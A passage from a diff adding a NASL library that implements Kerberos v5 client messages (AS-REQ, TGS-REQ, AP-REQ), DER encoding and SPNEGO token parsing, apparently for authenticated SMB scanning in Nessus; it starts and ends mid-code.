(_string:key, salt:realm+principal); + } + else + enckey = key; + + return des_cbc_md5_decrypt (data:data, key:enckey); + } + + return NULL; +} + + +#---------------------------------------------------------# +# Function : kerberos_encrypt # +# Description : encrypt data # +#---------------------------------------------------------# + +function kerberos_encrypt (key, type, data, real_key, enc_type, realm, principal) +{ + local_var enckey; + + if (enc_type == 23) + return rc4_hmac_encrypt (key:key, type:type, data:data, real_key:real_key); + if (enc_type == 3) + { + if (real_key == FALSE) + enckey = des_cbc_string_to_key (_string:key, salt:realm+principal); + else + enckey = key; + + return des_cbc_md5_encrypt (data:data, key:enckey); + } + + return NULL; +} + + +#---------------------------------------------------------# +# Function : der_length # +# Description : return raw der length of data # +#---------------------------------------------------------# + +function der_length (data) +{ + local_var tmp, length, len; + + length = NULL; + len = strlen (data); + + while (len != 0) + { + length = raw_string (len % 256) + length; + len = len / 256; + } + + if ((strlen (length) > 1) || ((strlen(length) == 1) && (ord(length[0]) > 127))) + length = raw_string (128 + strlen (length)) + length; + + return length; +} + + +#---------------------------------------------------------# +# Function : der_encode # +# Description : Return der encoded data # +#---------------------------------------------------------# + +function der_encode (tag,data) +{ + if (isnull (data)) + return NULL; + + return raw_string (tag) + der_length(data:data) + data; +} + + +function integer (i) +{ + local_var j,k; + + j = 0; + + for (k=0; k < strlen(i); k++) + { + j = j * 256 + ord(i[k]); + } + + return j; +} + + +#---------------------------------------------------------# +# Function : der_decode # +# Description : Return der decoded data # +# [0] = code # +# [1] = data # +# [2] = next pos in buffer # +#---------------------------------------------------------# + +function der_decode (data, pos) +{ + local_var tmp, i, j, len, len2; + + if (isnull (data)) + return NULL; + + if (isnull (pos)) + j = 0; + else + j = pos; + + if (strlen(data) - j < 2) + return NULL; + + tmp[0] = ord(data[j]); + j++; + + len = ord(data[j]); + j++; + + if (len > 127) + { + len -= 128; + if (strlen(data) - j < len) + return NULL; + + len2 = integer (i:substr (data, j, j + len - 1)); + j += len; + len = len2; + } + + if (strlen(data) - j < len) + return NULL; + + tmp[1] = substr(data,j,j+len-1); + tmp[2] = j + len; + + return tmp; +} + + +#---------------------------------------------------------# +# Function : der_encode_oid # +# Description : Return der encoded OID (string) # +# ex: "1.2.840.113554.1.2.2" # +#---------------------------------------------------------# + +function der_encode_oid (oid) +{ + local_var nums, num, enum, i, max, encoded; + + if (isnull (oid)) + return NULL; + + nums = split (oid, sep:".", keep:0); + + max = max_index (nums); + if (max < 2) + return NULL; + + # value1 x 40 + value2 + encoded = raw_string (40*int(nums[0]) + int(nums[1])); + + for (i=2; i < max; i++) + { + num = int(nums[i]); + enum = raw_string (num % 128); + num = num / 128; + while (num != 0) + { + enum = raw_string (128 + (num%128)) + enum; + num = num / 128; + } + encoded += enum; + } + + # OID Tag = 0x06 + return der_encode (tag:0x06, data:encoded); +} + + +#---------------------------------------------------------# +# Function : der_decode_oid # +# Description : Return OID (string) # +# ex: "1.2.840.113554.1.2.2" # +#---------------------------------------------------------# + +function der_decode_oid (oid) +{ + local_var soid, i, val; + + if (strlen (oid) < 1) + return NULL; + + soid = string (ord (oid[0]) / 40, ".", ord (oid[0]) % 40); + + for (i = 1; i < strlen(oid); i++) + { + val = 0; + while (ord(oid[i]) >= 128) + { + val = ((ord(oid[i]) - 128) + val) * 128; + i++; + } + val += ord (oid[i]); + soid += string (".",val); + } + + return soid; +} + + +#---------------------------------------------------------# +# Function : der_encode_int # +# Description : Return der encoded INTEGER # +#---------------------------------------------------------# + +function der_encode_int (i) +{ + local_var val,j,tmp; + + if (isnull (i)) + return NULL; + + val[0] = i & 255; + val[1] = (i>>8) & 255; +# val[2] = (i>>16) & 255; +# val[3] = (i>>24) & 255; + + j = 3; + while ((val[j] == 0) && (j != 0)) + j--; + + tmp = NULL; + while (j != 0) + { + tmp += raw_string (val[j]); + j--; + } + + tmp += raw_string (val[j]); + + return der_encode (tag:0x02, data:tmp); +} + + +#---------------------------------------------------------# +# Function : der_encode_int32 # +# Description : Return der encoded INTEGER # +#---------------------------------------------------------# + +function der_encode_int32 (i) +{ + local_var tmp; + + if (isnull (i)) + return NULL; + + tmp = raw_string ((i>>24) & 255, + (i>>16) & 255, + (i>>8) & 255, + i & 255); + + return der_encode (tag:0x02, data:tmp); +} + + +#---------------------------------------------------------# +# Function : der_encode_string # +# Description : Return der encoded STRING # +#---------------------------------------------------------# + +function der_encode_string (string) +{ + if (isnull (string)) + return NULL; + + return der_encode (tag:0x1B, data:string); +} + + +#---------------------------------------------------------# +# Function : der_encode_sequence # +# Description : Return der encoded SEQUENCE # +#---------------------------------------------------------# + + +function der_encode_sequence (seq) +{ + local_var encoded, max, i, j, val; + + if (isnull (seq)) + return NULL; + + max = max_index (seq); + if (max == 0) + return NULL; + + i = 0xA0; + + encoded = NULL; + + for (j=0; j < max; j++) + { + val = seq[j]; + if (!isnull(val)) + { + encoded += der_encode (tag:i, data:val); + } + i++; + } + + # SEQUENCE Tag = 0x30 + return der_encode (tag:0x30, data:encoded); +} + + +#---------------------------------------------------------# +# Function : der_encode_name # +# Description : Return type/name # +#---------------------------------------------------------# +# # +# PrincipalName ::= SEQUENCE { # +# name-type[0] INTEGER, # +# name-string[1] SEQUENCE OF GeneralString # +# } # +# # +#---------------------------------------------------------# + +function der_encode_name (type, name1, name2) +{ + local_var list, names; + + if (isnull (name1) && isnull (name2)) + return NULL; + + list = NULL; + + names = der_encode_string (string:name1); + names += der_encode_string (string:name2); + + list[0] = der_encode_int (i:type); + list[1] = der_encode_list (list:names); + + return der_encode_sequence (seq:list); +} + + +#---------------------------------------------------------# +# Function : der_encode_time # +# Description : Return der encoded KerberosTime # +#---------------------------------------------------------# + +function der_encode_time (time) +{ + if (isnull (time)) + return NULL; + + return der_encode (tag:0x18, data:time); +} + + +#---------------------------------------------------------# +# Function : der_parse_data # +# Description : Return der decoded data # +#---------------------------------------------------------# + +function der_parse_data (tag,data) +{ + local_var tmp; + + tmp = der_decode (data:data); + if (isnull (tmp) || (tmp[0] != tag)) + return NULL; + + return tmp[1]; +} + + +#---------------------------------------------------------# +# Function : der_parse_list # +# Description : Return der decoded list # +#---------------------------------------------------------# + +function der_parse_list (list) +{ + local_var tmp,pos,i,ret; + + if (!list) + return NULL; + + tmp = NULL; + tmp[0] = 0; + + pos = 0; + i = 1; + while (pos < strlen(list)) + { + ret = der_decode (data:list,pos:pos); + if (isnull(ret)) + return NULL; + + tmp[i] = substr (list, pos, ret[2]); + tmp[0] = tmp[0] + 1; + pos = ret[2]; + i++; + } + + return tmp; +} + + +#---------------------------------------------------------# +# Function : der_parse_sequence # +# Description : Return der decoded sequence # +#---------------------------------------------------------# + +function der_parse_sequence (seq,num,list) +{ + local_var tmp, dseq, val, i, pos, ret; + + dseq = der_decode (data:seq); + if (isnull(dseq) || (dseq[0] != 0x30)) + return NULL; + + if (!isnull(list) && (list == TRUE)) + return der_parse_list (list:dseq[1]); + + tmp = NULL; + for (i=0; i < num; i++) + tmp[i] = NULL; + + pos = i = 0; + while (pos < strlen(dseq[1])) + { + ret = der_decode (data:dseq[1],pos:pos); + if (isnull(ret)) + return NULL; + + val = ret[0] - 0xA0; + if (val < 0) + return NULL; + + tmp[val] = ret [1]; + pos = ret[2]; + } + + return tmp; +} + + +#---------------------------------------------------------# +# Function : der_parse_int # +# Description : Return der decoded integer # +#---------------------------------------------------------# + +function der_parse_int (i) +{ + local_var tmp; + + tmp = der_parse_data (tag:0x02, data:i); + if (!tmp) + return NULL; + + tmp = integer (i:tmp); + if (isnull(tmp)) + return NULL; + + return tmp; +} + + +#---------------------------------------------------------# +# Function : der_parse_octet_string # +# Description : Return der decoded octet string # +#---------------------------------------------------------# + +function der_parse_octet_string (string) +{ + return der_parse_data (tag:0x04, data:string); +} + + +#---------------------------------------------------------# +# Function : der_parse_oid # +# Description : Return der decoded oid # +#---------------------------------------------------------# + +function der_parse_oid (oid) +{ + local_var tmp; + + tmp = der_parse_data (tag:0x06, data:oid); + if (!tmp) + return NULL; + + tmp = der_decode_oid (oid:tmp); + if (!tmp) + return NULL; + + return tmp; +} + + +#---------------------------------------------------------# +# Function : der_parse_list_oid # +# Description : Return der decoded oid list # +# "oid1 oid2 ..." # +#---------------------------------------------------------# + +function der_parse_list_oid (list) +{ + local_var tmp, seq, i; + + tmp = NULL; + + seq = der_parse_sequence (seq:list,list:TRUE); + if (isnull(seq)) + return NULL; + + for (i=0;i < seq[0];i++) + { + tmp += der_parse_oid (oid:seq[i+1]) + " "; + } + + return tmp; +} + + +#---------------------------------------------------------# +# Function : der_encode_paenc # +# Description : Return der encoded PA-ENC # +#---------------------------------------------------------# +# # +# PA-ENC-TS-ENC ::= SEQUENCE { # +# patimestamp [0] KerberosTime, -- client's time # +# pausec [1] INTEGER OPTIONAL # +# } # +# # +#---------------------------------------------------------# + +function der_encode_paenc(time) +{ + local_var paenc; + + paenc = NULL; + paenc[0] = der_encode_time (time:time); + paenc[1] = NULL; + + return der_encode_sequence (seq:paenc); +} + + +#---------------------------------------------------------# +# Function : der_encode_octet_string # +# Description : Return der encoded OCTET STRING # +#---------------------------------------------------------# + +function der_encode_octet_string (string) +{ + return der_encode (tag:0x04, data:string); +} + + +#---------------------------------------------------------# +# Function : der_encode_padata # +# Description : Return der encoded PA-DATA # +#---------------------------------------------------------# +# # +# PA-DATA ::= SEQUENCE { # +# padata-type [1] INTEGER, # +# padata-value [2] OCTET STRING, # +# } # +# # +#---------------------------------------------------------# + +function der_encode_padata (type,value) +{ + local_var pa_data; + + pa_data = NULL; + + pa_data[0] = NULL; + pa_data[1] = der_encode_int (i:type); + pa_data[2] = der_encode_octet_string (string:value); + + return der_encode_sequence (seq:pa_data); +} + + +#---------------------------------------------------------# +# Function : der_encode_crypt # +# Description : Return der encoded/crypted structure # +#---------------------------------------------------------# + +function der_encode_crypt (data, key, type, enc_type, real_key, realm, principal) +{ + local_var crypted, encrypted_data; + + encrypted_data = kerberos_encrypt (key:key, type:raw_dword (d:type), data:data, real_key:real_key, enc_type:enc_type, realm:realm, principal:principal); + + crypted = NULL; + crypted[0] = der_encode_int (i:enc_type); + crypted[1] = NULL; + crypted[2] = der_encode_octet_string (string:encrypted_data); + + return der_encode_sequence (seq:crypted); +} + + +#---------------------------------------------------------# +# Function : der_encode_list # +# Description : Return der encoded list # +#---------------------------------------------------------# + +function der_encode_list (list) +{ + return der_encode (tag:0x30, data:list); +} + + +#---------------------------------------------------------# +# Function : der_encode_kdcreq # +# Description : Return der encoded KDC-REQ # +#---------------------------------------------------------# +# # +# KDC-REQ ::= SEQUENCE { # +# pvno [1] INTEGER, # +# msg-type [2] INTEGER, # +# padata [3] SEQUENCE OF PA-DATA OPTIONAL, # +# req-body [4] KDC-REQ-BODY # +# } # +# # +#---------------------------------------------------------# + +function der_encode_kdcreq (pvno, msg_type, list, req_body) +{ + local_var l; + + l = NULL; + + l[0] = NULL; + l[1] = der_encode_int (i:pvno); + l[2] = der_encode_int (i:msg_type); + l[3] = der_encode_list (list:list); + l[4] = req_body; + + return der_encode_sequence (seq:l); +} + + +function der_encode_request (req) +{ + local_var request; + + request = NULL; + request[0] = der_encode (tag:0x01, data:req); + + return der_encode_sequence(seq:request); +} + + + +#---------------------------------------------------------# +# Function : der_encode_kdc_req_body # +# Description : Return der encoded KDC-REQ-BODY # +#---------------------------------------------------------# +# # +# KDC-REQ-BODY ::= SEQUENCE { # +# kdc-options [0] KDCOptions, # +# cname [1] PrincipalName OPTIONAL, # +# realm [2] Realm, -- Server's realm # +# sname [3] PrincipalName OPTIONAL, # +# from [4] KerberosTime OPTIONAL, # +# till [5] KerberosTime, # +# rtime [6] KerberosTime OPTIONAL, # +# nonce [7] INTEGER, # +# etype [8] SEQUENCE OF INTEGER, -- EncType # +# addresses [9] HostAddresses OPTIONAL, # +# enc-authorization-data [10] EncryptedData OPTIONAL, # +# additional-tickets [11] SEQUENCE OF Ticket OPT # +# } # +# # +#---------------------------------------------------------# + +function der_encode_kdc_req_body (principal,realm,service,hosts) +{ + local_var list, options; + + list = options = NULL; + + options = der_encode (tag:0x03, data:raw_string (0x00,0x00,0x00,0x00,0x00)); + + list[0] = options; + if (!isnull(principal)) + list[1] = der_encode_name (type:1, name1:principal, name2:NULL); + else + list[1] = NULL; + list[2] = der_encode_string (string:realm); + list[3] = service; + list[4] = NULL; + list[5] = der_encode_time (time:"20370913024805Z"); + list[6] = der_encode_time (time:"20370913024805Z"); + list[7] = der_encode_int (i:rand()); + # rc4-hmac-md5 , des-cbc-md5 + list[8] = der_encode_list (list:der_encode_int (i:23)+der_encode_int(i:3)); + if (!isnull(hosts)) + list[9] = der_encode_list (list:hosts); + else + list[9] = NULL; + + return der_encode_sequence (seq:list); +} + + +#---------------------------------------------------------# +# Function : kerberostime # +# Description : Return KerberosTime Format # +# YYYYMMDDHHMMSSZ (Z = UTC time) # +#---------------------------------------------------------# + +function kerberostime() +{ + local_var tmp,time,conv,field; + + time = localtime(unixtime(),utc:TRUE); + tmp = string (time["year"]); + foreach field (make_list("mon", "mday", "hour", "min", "sec")) + { + conv = string (time[field]); + if (strlen (conv) == 1) + conv = "0" + conv; + tmp += conv; + } + tmp += "Z"; + + return tmp; +} + +#---------------------------------------------------------# +# Function : der_encode_asreq # +# Description : Return der encoded AS-REQ # +#---------------------------------------------------------# +# # +# AS-REQ ::= [APPLICATION 10] KDC-REQ # +# # +# KDC-REQ ::= SEQUENCE { # +# pvno [1] INTEGER, # +# msg-type [2] INTEGER, # +# padata [3] SEQUENCE OF PA-DATA OPTIONAL, # +# req-body [4] KDC-REQ-BODY # +# } # +# # +# PA-DATA ::= SEQUENCE { # +# padata-type [1] INTEGER, # +# padata-value [2] OCTET STRING, # +# } # +# # +# padata-type ::= PA-ENC-TIMESTAMP # +# padata-value ::= EncryptedData -- PA-ENC-TS-ENC # +# # +# PA-ENC-TS-ENC ::= SEQUENCE { # +# patimestamp [0] KerberosTime, -- client's time # +# pausec [1] INTEGER OPTIONAL # +# } # +# # +#---------------------------------------------------------# + +function der_encode_asreq (principal,realm,enc_type,password) +{ + local_var req_body, encoded, host, pa_enc, padata_enc, padata, pa_pac, request, service; + + pa_pac = request = service = NULL; + + pa_enc = der_encode_paenc (time:kerberostime()); + padata_enc = der_encode_crypt (data:pa_enc, key:password, type:1, enc_type:enc_type, real_key:FALSE, realm:realm, principal:principal); + padata = der_encode_padata (type:2, value:padata_enc); + + request = der_encode_request (req:raw_string (0xFF)); + pa_pac = der_encode_padata (type:128, value:request); + + service = der_encode_name (type:2, name1:"krbtgt", name2:realm); + req_body = der_encode_kdc_req_body (principal:principal, realm:realm, service:service); + + encoded = der_encode_kdcreq (pvno:5, msg_type:0x0A, list:padata+pa_pac, req_body:req_body); + + return der_encode (tag:0x6A, data:encoded); +} + + + +#---------------------------------------------------------# +# Function : der_decode_kdcrep # +# Description : Return der session key and Ticket # +#---------------------------------------------------------# +# # +# AS-REP ::= [APPLICATION 11] KDC-REP # +# KDC-REP ::= SEQUENCE { # +# pvno [0] INTEGER, # +# msg-type [1] INTEGER, # +# padata [2] SEQUENCE OF PA-DATA OPTIONAL, # +# crealm [3] Realm, # +# cname [4] PrincipalName, # +# ticket [5] Ticket, # +# enc-part [6] EncryptedData # +# } # +# # +# EncryptedData ::= SEQUENCE { # +# etype [0] INTEGER, -- EncryptionType # +# kvno [1] INTEGER OPTIONAL, # +# cipher [2] OCTET STRING -- ciphertext # +# } # +# # +# EncASRepPart ::= [APPLICATION 25] EncKDCRepPart # +# EncKDCRepPart ::= SEQUENCE { # +# key [0] EncryptionKey, # +# last-req [1] LastReq, # +# nonce [2] INTEGER, # +# key-expiration [3] KerberosTime OPTIONAL, # +# flags [4] TicketFlags, # +# authtime [5] KerberosTime, # +# starttime [6] KerberosTime OPTIONAL, # +# endtime [7] KerberosTime, # +# renew-till [8] KerberosTime OPTIONAL, # +# srealm [9] Realm, # +# sname [10] PrincipalName, # +# caddr [11] HostAddresses OPTIONAL # +# } # +# # +#---------------------------------------------------------# + +function der_decode_kdcrep (type,password, data, real_key) +{ + local_var buf,pvno,msg_type,pa_data,crealm,cname,ticket,enc_part,kvno,seq,enc_type,encrypted; + local_var decrypted, enc_key; + local_var resp, realm, principal; + + resp = NULL; + + buf = der_decode (data:data); + if (isnull(buf) || ((buf[0] != 0x6B) && (buf[0] != 0x6D))) + return NULL; + + # Data are in SEQUENCE + seq = der_parse_sequence (seq:buf[1], num:7, list:FALSE); + if (isnull(seq)) + return NULL; + + # PVNO == 5 + pvno = der_parse_int (i:seq[0]); + if (isnull(pvno) || (pvno != 5)) + return NULL; + + # MSG-Type == AS-REP + msg_type = der_parse_int (i:seq[1]); + if (isnull(msg_type) || (msg_type != type)) + return NULL; + + # crealm + crealm = seq[3]; + if (!crealm) return NULL; + resp[2] = crealm; + + # cname + cname = seq[4]; + if (!cname) return NULL; + resp[3] = cname; + + # TGT + ticket = seq[5]; + if (!ticket) return NULL; + resp[0] = ticket; + + # enc-part + enc_part = seq[6]; + if (!enc_part) return NULL; + + # ENC-Part is a SEQUENCE + seq = der_parse_sequence (seq:enc_part, num:3, list:FALSE); + if (isnull(seq)) + return NULL; + + # Encryption type + enc_type = der_parse_int (i:seq[0]); + if (isnull(enc_type) || (supported_encryption_type(type:enc_type) == FALSE)) + return NULL; + + # (OPTIONAL) Kvno == 2 + kvno = der_parse_int (i:seq[1]); + if (kvno && ((kvno != 2) && (kvno != 1))) + return NULL; + + # encrypted data + encrypted = der_parse_octet_string (string:seq[2]); + if (!encrypted) + return NULL; + + # We have enc-part in _encrypted[1] here. + + realm = der_parse_data(tag:0x1b, data:crealm); + seq = der_parse_sequence (seq:cname, num:5, list:FALSE); + if (isnull(seq)) + return NULL; + seq = der_parse_sequence (seq:seq[1], num:5, list:TRUE); + if (isnull(seq)) + return NULL; + principal = der_parse_data(tag:0x1b, data:seq[1]); + + decrypted = kerberos_decrypt (key:password, type:raw_dword(d:8), data:encrypted, real_key:real_key, enc_type:enc_type, realm:realm, principal:principal); + if (isnull(decrypted)) + return NULL; + + enc_part = der_decode (data:decrypted); + if (isnull(enc_part) || ((enc_part[0] != 0x79) && (enc_part[0] != 0x7A))) + return NULL; + + enc_part = der_parse_sequence (seq:enc_part[1], num:12, list:FALSE); + if (isnull (enc_part)) + return NULL; + + enc_key = der_parse_sequence (seq:enc_part[0], num:2, list:FALSE); + if (isnull (enc_key)) + return NULL; + + # We parse encryption key + + # Encryption type + enc_type = der_parse_int (i:enc_key[0]); + if (isnull (enc_type) || (supported_encryption_type(type:enc_type) == FALSE)) + return NULL; + + resp[4] = enc_type; + + # Encryption key + enc_key = der_parse_octet_string (string:enc_key[1]); + if (isnull (enc_key)) + return NULL; + + # We store the session key + resp[1] = enc_key; + + return resp; +} + + +#---------------------------------------------------------# +# Function : der_decode_asrep # +# Description : Return der decoded AP-REP # +#---------------------------------------------------------# + +function der_decode_asrep (password, data) +{ + return der_decode_kdcrep (type:0x0B, password:password, data:data, real_key:FALSE); +} + + +#---------------------------------------------------------# +# Function : der_decode_tgsrep # +# Description : Return der decoded TGS-REP # +#---------------------------------------------------------# + +function der_decode_tgsrep (session, data) +{ + return der_decode_kdcrep (type:0x0D, password:session[1], data:data, real_key:TRUE); +} + + +#---------------------------------------------------------# +# Function : der_encode_apreq # +# Description : Return der encoded AP-REQ # +#---------------------------------------------------------# + +function der_encode_apreq (session, req_body, type, _checksum, _seqnum) +{ + local_var list, options, encoded, authenticator, authenticators, checksum, auth, realm, principal, seq, cksum; + + authenticator = authenticators = checksum = NULL; + +# checksum[0] = der_encode_int (i:-138); +# checksum[1] = der_encode (tag:0x04, data:rc4_hmac_checksum(key:session[1],type:raw_dword(d:6),data:req_body)); + + realm = der_parse_data(tag:0x1b, data:session[2]); + seq = der_parse_sequence (seq:session[3], num:5, list:FALSE); + if (isnull(seq)) + return NULL; + seq = der_parse_sequence (seq:seq[1], num:5, list:TRUE); + if (isnull(seq)) + return NULL; + principal = der_parse_data(tag:0x1b, data:seq[1]); + + options = der_encode (tag:0x03, data:raw_string (0x00,0x20,0x00,0x00,0x00)); + + authenticator[0] = der_encode_int(i:5); + authenticator[1] = session[2]; + authenticator[2] = session[3]; + + if (!isnull(req_body)) + { + cksum = kerberos_checksum(key:session[1],type:raw_dword(d:6),data:req_body,real_key:TRUE,realm:realm,principal:principal,enc_type:session[4]); + + checksum[0] = der_encode_int (i:get_checksum_type(enc_type:session[4])); + checksum[1] = der_encode (tag:0x4, data:cksum); + + authenticator[3] = der_encode_sequence (seq:checksum); + } + else if (!isnull(_checksum)) + authenticator[3] = _checksum; + else + authenticator[3] = NULL; + authenticator[4] = der_encode_int(i:0); + authenticator[5] = der_encode_time (time:kerberostime()); + + if (!isnull(_seqnum)) + { + authenticator[6] = NULL; + authenticator[7] = der_encode_int32 (i:_seqnum); + } + + auth = der_encode_sequence (seq:authenticator); + + authenticators = der_encode_crypt (key:session[1], type:type, data:der_encode (tag:0x62, data:auth), real_key:TRUE, realm:realm, principal:principal, enc_type:session[4]); + + + list = NULL; + + list[0] = der_encode_int(i:5); # Pvno = 5 + list[1] = der_encode_int(i:0x0E); # MSG-Type = AP-REQ + list[2] = options; + list[3] = session[0]; + list[4] = authenticators; + + encoded = der_encode_sequence (seq:list); + + return der_encode (tag:0x6E, data:encoded); +} + + +#---------------------------------------------------------# +# Function : der_encode_tgsreq # +# Description : Return der encoded TGS-REQ # +#---------------------------------------------------------# + +function der_encode_tgsreq (session,name) +{ + local_var realm, req_body, encoded, padata, service, apreq; + + realm = der_decode (data:session[2]); + service = der_encode_name (type:3, name1:"host", name2:name); # Microsoft uses "cifs" for "host" + req_body = der_encode_kdc_req_body (realm:realm[1], service:service); + + apreq = der_encode_apreq (session:session,req_body:req_body,type:7); + padata = der_encode_padata (type:1, value:apreq); + + encoded = der_encode_kdcreq (pvno:5, msg_type:0x0C, list:padata, req_body:req_body); + + return der_encode (tag:0x6C, data:encoded); +} + + + +#---------------------------------------------------------# +# Function : der_encode_negtokeninit # +# Description : Return der encoded NegTokenInit # +#---------------------------------------------------------# +# # +# NegTokenInit ::= SEQUENCE { # +# mechTypes [0] MechTypeList OPTIONAL, # +# reqFlags [1] ContextFlags OPTIONAL, # +# mechToken [2] OCTET STRING OPTIONAL, # +# mechListMIC [3] OCTET STRING OPTIONAL # +# } # +# # +#---------------------------------------------------------# + +function der_encode_negtokeninit (mechtypes, reqflags, mechtoken, mechlistmic) +{ + local_var seq, encoded, list, negtokeninit, spnego_oid; + + encoded = list = NULL; + + if (mechtypes) + list[0] = mechtypes; + + if (reqflags) + list[1] = reqflags; + + if (mechtoken) + list[2] = mechtoken; + + if (mechlistmic) + list[3] = mechlistmic; + + seq = der_encode_sequence (seq:list); + + # NegTokenInit Tag = 0xA0 + negtokeninit = der_encode (tag:0xA0, data:seq); + + # SPNEGO OID + spnego_oid = der_encode_oid (oid:"1.3.6.1.5.5.2"); + + # Application Constructed Object Tag = 0x60 + return der_encode (tag:0x60, data: spnego_oid + negtokeninit); +} + + +#---------------------------------------------------------# +# Function : der_parse_spnego_init # +# Description : Return der decoded SPNEGO BLOB # +#---------------------------------------------------------# + +function der_parse_spnego_init (sdata) +{ + local_var tmp, data, oid, list, seq, mechtypes, mechseq, mechlistmic; + local_var negtokeninit; + + data = der_parse_data (tag:0x60, data:sdata); + if (isnull(data)) + return NULL; + + list = der_parse_list (list:data); + if (isnull(list) || (list[0] != 2)) + return NULL; + + oid = der_parse_oid (oid:list[1]); + if (!oid || (oid != "1.3.6.1.5.5.2")) + return NULL; + + negtokeninit = NULL; + negtokeninit[0] = negtokeninit[1] = negtokeninit[2] = negtokeninit[4] = NULL; + + # negTokenInit + data = der_parse_data (tag:0xA0, data:list[2]); + if (data) + { + seq = der_parse_sequence (seq:data, num:4, list:FALSE); + if (isnull(seq)) + return NULL; + + #mechType + if (seq[0] != NULL) + { + mechtypes = der_parse_list_oid (list:seq[0]); + if (!mechtypes) + return NULL; + + negtokeninit[0] = mechtypes; + } + + #mechListMIC + if (seq[3] != NULL) + { + mechseq = der_parse_sequence (seq:seq[3], num:1, list:FALSE); + if (isnull (mechseq)) + return NULL; + + tmp = der_decode (data:mechseq[0]); + if (isnull(tmp) || (tmp[0] != 0x1B)) + return NULL; + + mechlistmic = tmp[1]; + + negtokeninit[3] = mechlistmic; + } + } + else + return NULL; + + return negtokeninit; +} + + +#---------------------------------------------------------# +# Function : der_parse_spnego_resp # +# Description : Return der decoded SPNEGO BLOB # +#---------------------------------------------------------# + +function der_parse_spnego_resp (sdata) +{ + local_var data, seq, negresult, supportedmech, responsetoken; + local_var negtokentarg; + + negtokentarg = NULL; + negtokentarg[0] = negtokentarg[1] = negtokentarg[2] = negtokentarg[3] = NULL; + + data = der_parse_data (tag:0xA1, data:sdata); + if (isnull(data)) + return NULL; + + seq = der_parse_sequence (seq:data, num:4, list:FALSE); + if (isnull(seq)) + return NULL; + + #negresult + if (seq[0] != NULL) + { + negresult = der_parse_data (tag:0x0A,data:seq[0]); + if (isnull (negresult)) + return NULL; + + negresult = ord(negresult[0]); + + negtokentarg[0] = negresult; + } + + if (seq[1] != NULL) + { + supportedmech = der_parse_oid (oid:seq[1]); + if (!supportedmech) + return NULL; + + negtokentarg[1] = supportedmech; + } + + if (seq[2] != NULL) + { + responsetoken = der_parse_data (tag:0x04, data:seq[2]); + if (!responsetoken) + return NULL; + + negtokentarg[2] = responsetoken; + } + + return negtokentarg; +} + + +function acquired_ticket () +{ + if (get_kb_item ("SMB/kerberos/tgs_ticket")) + return 1; + else + return 0; +} + + +function save_tgs_session (session) +{ + set_kb_item (name:"SMB/kerberos/tgs_session_0", value:hexstr(session[0])); + set_kb_item (name:"SMB/kerberos/tgs_session_1", value:hexstr(session[1])); + set_kb_item (name:"SMB/kerberos/tgs_session_2", value:hexstr(session[2])); + set_kb_item (name:"SMB/kerberos/tgs_session_3", value:hexstr(session[3])); + set_kb_item (name:"SMB/kerberos/tgs_session_4", value:session[4]); + set_kb_item (name:"SMB/kerberos/tgs_ticket", value:1); +} + +function _hex2raw(s) +{ + local_var i, j, ret, l; + + s = chomp(s); # remove trailing blanks, CR, LF... + l = strlen(s); + for(i=0;i= ord("0") && ord(s[i]) <= ord("9")) + j = int(s[i]); + else + j = int((ord(s[i]) - ord("a")) + 10); + + j *= 16; + if(ord(s[i+1]) >= ord("0") && ord(s[i+1]) <= ord("9")) + j += int(s[i+1]); + else + j += int((ord(s[i+1]) - ord("a")) + 10); + ret += raw_string(j); + } + return ret; +} + + +function load_tgs_session () +{ + local_var session; + + session[0] = _hex2raw(s:get_kb_item ("SMB/kerberos/tgs_session_0")); + session[1] = _hex2raw(s:get_kb_item ("SMB/kerberos/tgs_session_1")); + session[2] = _hex2raw(s:get_kb_item ("SMB/kerberos/tgs_session_2")); + session[3] = _hex2raw(s:get_kb_item ("SMB/kerberos/tgs_session_3")); + session[4] = get_kb_item ("SMB/kerberos/tgs_session_4"); + + return session; +} + + +#---------------------------------------------------------# +# Function : kerberos_securityblob # +# Description : Return kerberos/GSSAPI/SPNEGO blob # +#---------------------------------------------------------# + +function kerberos_securityblob (login,password,realm,host) +{ + local_var ret, mechtypes, mechtoken, apreq, soc2, pass, req, resp, session, i; + + # We only support Microsoft Kerberos + # mechtypes = der_encode (tag:0x30, data:der_encode_oid (oid:"1.2.840.48018.1.2.2") + der_encode_oid (oid:"1.2.840.113554.1.2.2")); + mechtypes = der_encode (tag:0x30, data:der_encode_oid (oid:"1.2.840.48018.1.2.2")); + + if (!acquired_ticket()) + { + soc2 = open_sock_kdc (); + if (isnull (soc2)) + return NULL; + + pass = NULL; + for (i = 0; i < strlen (password); i++) + pass += password[i] + raw_string(0x00); + + req = der_encode_asreq (principal:login, realm:realm, password:pass, enc_type:23); + send (socket:soc2, data:req); + + resp = recv (socket:soc2, length:4096); + if (!resp) + { + close (soc2); + return NULL; + } + session = der_decode_asrep(password:pass, data:resp); + if (isnull(session)) + { + close (soc2); + return NULL; + } + + req = der_encode_tgsreq (session:session,name:host); + send (socket:soc2, data:req); + + resp = recv (socket:soc2, length:4096); + close (soc2); + if (!resp) + return NULL; + + session = der_decode_tgsrep(session:session, data:resp); + if (isnull (session)) + return NULL; + + save_tgs_session(session:session); + } + else + { + session = load_tgs_session(); + } + + apreq = der_encode_apreq (session:session, type:11); + + mechtoken = der_encode_oid (oid:"1.2.840.113554.1.2.2") + + raw_word (w:1)+ + apreq; + mechtoken = der_encode (tag:0x60, data:mechtoken); + mechtoken = der_encode_octet_string (string:mechtoken); + + # MS KRB5 has no init flags and no mechListMIC + ret = NULL; + ret[0] = session[1]; + ret[1] = der_encode_negtokeninit (mechtypes:mechtypes, reqflags:NULL, mechtoken:mechtoken, mechlistmic:NULL); + + return ret; +} + + + +#---------------------------------------------------------# +# Function : check_kerberos_response # +# Description : Return 1 if trusted/accepted # +#---------------------------------------------------------# + +function check_kerberos_response (data, key, realm, principal) +{ + local_var negtokentarg, negresult, supportedmech, responsetoken, init, msg, challenge, kerberosblob, name; + local_var list, oid, seq, kid, aprep, pvno, msg_type, enc_part, enc_type, encrypted, decrypted, enc_key, ret; + + negtokentarg = der_parse_spnego_resp (sdata:data); + if (isnull (negtokentarg)) + return NULL; + + negresult = negtokentarg[0]; + if (negresult != 0) # Accept Complete + return NULL; + + supportedmech = negtokentarg[1]; + + if ("1.2.840.48018.1.2.2" >!< supportedmech) + return NULL; + + responsetoken = negtokentarg[2]; + if (!responsetoken) + return NULL; + + kerberosblob = der_parse_data (tag:0x60, data:responsetoken); + if (isnull (kerberosblob)) + return NULL; + + list = der_parse_list (list:kerberosblob); + if (isnull (list)) + return NULL; + + if (list[0] != 3) + return NULL; + + oid = der_parse_oid (oid:list[1]); + if (!oid || 